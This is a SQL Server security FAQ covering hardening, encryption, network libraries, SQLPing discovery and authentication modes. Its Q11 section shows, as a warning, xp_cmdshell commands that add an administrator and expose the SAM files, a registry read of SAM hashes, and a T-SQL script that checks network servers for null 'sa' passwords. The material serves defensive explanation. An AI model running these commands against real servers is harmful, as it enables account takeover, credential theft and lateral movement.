SQL Server FAQ

Q1. In SQL 2005, I removed the BUILTIN/Administrators login but I forgot my SA account password. What can I do to regain sysadmin access to my SQL Server?

Answer: Per this KB article: http://support.microsoft.com/kb/932881

"Also, if SQL Server 2005 is started in single-user mode, any user who has membership in the BUILTIN\Administrators group can connect to SQL Server 2005 as a SQL Server administrator. The user can connect regardless of whether the BUILTIN\Administrators group has been granted a server login that is provisioned in the SYSADMIN fixed server role. This behavior is by design. This behavior is intended to be used for data recovery scenarios."

Q2. How do I restict clients by IP Address?

Answer: SQL Server has no built-in support for restricting clients by IP address. The most common work-arounds are firewalls, IPSec, or third-party network layer filters to allow only certain source IP addresses and target TCP ports (the port on which SQL Server is listening).

Q3. How do I perform encryption with SQL Server?

Answer:

Starting with SQL Server 2005 Encryption is now natively supported inside SQL Server.

In previous versions of SQL Server, despite rumors of "undocumented" cryptography functions in SQL Server (pwdencrypt() and pwdcompare()), these functions are not the symmetric encryption routines you want to use in a robust application. Using those functions does not provide reversible encryption and uses algorithms and key management you are not privy to. It is recommended that you implement encryption carefully based on the type of data you are looking to protect. Examples:

Field-Level (Protecting individual data fields)

• www.safelogic.com/en_safejdbc
• www.protegrity.com
• dbEncrypt
• www.aspencrypt.com
• CryptoAPI
• www.activecrypt.com
• www.netlib.com

File-Level (Protecting MDF's, backups, etc)

• www.sqllitespeed.com
• www.netlib.com
• Encrypted File System

Transport-Level

• Native SQL Server SSL encryption
• IPSec
• Multi-protocol net-lib

Q4. What is SQLPing and how does it work?

Answer:

SQLPing (now in it's third incarnation) came out of my curiosity and observations of SQL Server's discovery mechanisms. When a SQL Server 2000 client wishes to connect to a server it first attempts a pre-connection query against UDP 1434 (unregistered listener service on any SQL Server 2000 server). Upon seeing the handshake (packet payload 0x02), the SQL Server replies with details about all named instances installed on the server including instance name, version, clustering info, net-libs supported, and net-lib details (ports, pipe names, etc.). Using this tool, you can reveal this information as well as send discovery packets to entire networks (i.e. 192.168.0.255) for mass interrogation.

Q5. How can I hide my SQL Server 2000 installations from SQLPing?

Answer:

• Block UDP 1434 to the server using a firewall
• Using the Server Network Utility, you can open the properties on the TCP/IP net-lib and remove all net-libs. This will essentially block all network connections to the SQL Server but local connections are still possible because of the shared memory netlib which can be used by specifying '(local)' or a period (.) for the server name. For automated configurations you can clear the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib\ProtocolList. (For named instances use HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\(instance name)\MSSQLServer\SuperSocketNetLib\ProtocolList). A restart will be required.

• Click the 'hide server' under the TCP/IP netlib on the Server Network Utility and DO NOT leave any other net-libs installed (leaving any others installed will still allow the SQL Server Resolution service to respond). I have experienced strange behavior in that when I enable the Hide option my default TCP Port jumps to 2433. This severely limits the usefulness of this method.

Q6. How can I keep the 'sa' account from reading my confidential data?

Answer: Make sure you are making a clear distinction between the sa account and the sysadmin fixed server role. By using Windows Authentication you can block 'sa' from logging in at all.

To keep the local admin from getting access to the database (or server) you need to grant access to the server to another account (someone needs to be a sys admin) and put this account in the sysadmin role. Now you can safely remove the BUILTIN\Administrators login or simply remove it from the

sysadmin role.

Adding encryption to this mix is also a good move for a multitude of reasons (not the least of which is keeping NT admins from just copying the database files and attaching them to another server) but DO NOT "roll your own" encryption. Use the CryptoAPI/.NET Framework and do your best to hide the encryption keys from unauthorized personnel (key management is always the hard part). Rolling your own encryption is a recipe for disaster unless your last name is Rivest/Schneier etc..... ;-)

Q7. Why is SQL Server security important?

Answer: One might argue that since a SQL server is generally kept inside a firewall, it doesn’t need to be as secure as a machine exposed to the outside world. I disagree. Since statistics show that most attacks occur from within, making the SQL server as secure as possible should be a critical task no matter where it exists. In this article, we explore some of Microsoft SQL Server’s weaknesses and how we can negate them. The goal: To sleep at night.

Q8. What different network protocol libraries should I use?

Answer:

If the database is local-only then disable ALL netlibs and use shared memory to access the SQL Server. If you must connect from remote clients, use TCP/IP and enable encryption (non-trusted subnets) . Only use the alternative netlibs (NwLink, Names Pipes, Banyan, etc) if need be in those integration scenarios.

SQL Server 2000 includes the new Super Sockets net-lib which can do SSL over any of the protocols. It is highly recommended you make use of this in lieu of the multi-protocol encryption. Remember that a server certificate must be installed before the encryption can occur. The certificate must match the DNS name of the server and be issues by a certificate authority that the client trusts.

Yet another option if you are using Windows 2000 is IPsec. IPsec will allow you to encrypt ALL traffic between the client and server. This is a good solution when you have complete control over the server and the clients can take the time to learn IPsec policy deployment.

Q9. What are the various security modes for SQL Server and how do they work?

Answer:

Since SQL Server 7 - Microsoft has only supported two modes:

• Windows Only - Only Windows accounts can access the server via an integreated login process.
• Windows and SQL Server - Both Windows accounts and accounts created within SQL Server can connect to the server.

Windows Only is recommended but not always practical depending on your infrastructure. In addition, SQL Server 2005 has taken great strides to increase the security of standard SQL Server logins by adding password complexity, timeouts, and other features previously absent.

Logging-in is only the first step. Once a user logs in, he or she must access the individual databases. For this, an entry must exist in the sysusers table for each database for that user. Keep a close eye on that “guest” account in your databases and make sure you don’t inadvertently give someone access to a database.

Q10. What are some things I can do to secure my SQL Server?

Answer:

• Keep up to date on SQL Server service packs and patches
• Audit SQL Server accounts for weak passwords
• Restict access to the SQL Server to only trusted clients
• Use Windows Only authentication where possible
• Store SQL Server backup files in a secure location and encrypted
• Disable all netlibs if the SQL Server is local-only
• Regularly scan the installation with Microsoft's Baseline Security Analyzer

Q11. What could happen if the 'sa' account is compromised?

Answer:

Say someone has compromised an account with execute rights to the xp_cmdshell extended stored procedure (such as 'sa') using a dictionary attack, social engineering, packet sniffing, trojans, keystroke recorders, or simple guessing. The next step is to compromise the OS. This might include firing up the xp_cmdshell stored procedure and typing:

Xp_cmdshell 'net user testuser UgotHacked /ADD'

Then:

Xp_cmdshell 'net localgroup Administrators testuser /ADD'

Note: In SQL 7.0, non-sys admin role users get SQLAgentCmdExec user context by default, so this exploit won’t work unless sa is compromised. Some may argue that once a person compromises the Administrator account, then talking about things they can do is a waste of time. The point is that sa isn’t Administrator; sa is a SQL Server security model member, and its exploitation can lead to a compromise of other security models such as NT. This is the primary point you should take from this section—the idea that attackers can take advantage of a weaker security model to compromise a stronger one.

Now the attacker has an account with local administrator access on your SQL Server machine. (Pray your machine isn’t a domain controller or the user now has domain admin access. Sigh.) While the attackers are there, they just may fire off this query:

Xp_cmdshell 'rdisk /s-'

This effectively rebuilds the information in the \winnt\repair directory without prompting the user.

After backing up the SAM (sam._ in \winnt\repair directory), the attacker can establish an SMB connection to an administrative share or create one:

Xp_cmdshell 'net share getsam=c:\winnt\repair'

Of course, if the SMB ports (UDP 137/138, and TCP 139) are blocked, the attacker will just have to find a Web server with anonymous browsing enabled (or enable it using OLE automation stored procedures), move the file, and use a browser to do his or her dirty work. If that doesn’t work, why not just bcp (bulk copy program) the table into an image field and then use the GetChunk ADO method to pull it over to your machine? How about using the built-in TFTP client to download a Netcat listener to the machine and then configure it to listen and transfer? Be creative — hackers are.

By the way, compromised SQL Servers make excellent launching points for attacks against other machines inside the network. By hopping from server to server it is possible to move virtually undetected through otherwise well-defended networks. Below is an example sql script to enumerate other SQL Servers on the network that have null 'sa' accounts.

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

If @current_server <> 'Servers:'

BEGIN

SELECT @current_server = rtrim(ltrim(@current_server))

SELECT @conn_string = 'exec master..xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

PRINT 'Attempting connection to server: ' + @current_server

EXECUTE (@conn_string)

PRINT '====================================================================='

END

FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

As the above code shows, a compromised SQL Server can be turned into an unwilling participant in more attacks. Even better for the attacker, subsequent probes/intrusions lanuched from this server will mask the fiend since logs will show the compromised SQL Server to be the source of future suspicious activity.

What if you were smart and disabled the xp_cmdshell extended stored procedure? Now where do we go? Try this little gem:

xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'

If the MSSqlserver service is running under the LocalSystem account, then this call can return an encrypted password or SID right out of the registry. (David LeBlanc - a frequent posted to ntbugtraq - has correctly pointed out that this will only work on machines without SYSKEY installed.)

These are just a few brief samples of exploits that can be performed against an unsecured server. Make sure you audit your own systems to ensure that these and other exploits don’t compromise your security.

So what? They get into the SQL Server, how does this affect my network?

Once the system is compromised, it’s likely the intruder will put backdoors in place to gain access to other systems, and to make sure he or she can get to this box again incase you read this article and implement changes. Some examples include the following:

• Modifying the sp_password stored procedure to capture passwords when users attempt to change their passwords.
• Installing popular shareware/freeware tools such as Netbus or BackOriface on the server so the attacker can access the box in other ways even if SQL is patched. I include this because Administrator access isn’t required for many of these trojans, and SQL Server can make an excellent delivery mechanism.
• Exploiting holes in other services on the machine through OLE Automation. A popular example is an exploit of IIS that allows the attacker to modify the server to allow anonymous access to a secured Web site.
• Installing remote control utilities on the server (through IIS, xp_cmdshell, schedule service, etc.) to gain control of the machine.
• Adding stored procedures to sp_makestartup to allow the attacker to run stored procs when the server is started and use the server’s security context.
• Placing entries in the registry using extended stored procs or “regedit /s filename.reg” at the command line. These entries could open null user holes or run scripts at certain times to allow for more access. With registry access at the administrator level, the attacker has total control.

You need to secure SQL Server before it goes into production. If it’s too late for this, then do your best to look for these trojans and remove them. Good logging will help you to monitor access and see who is using the server in ways they shouldn’t.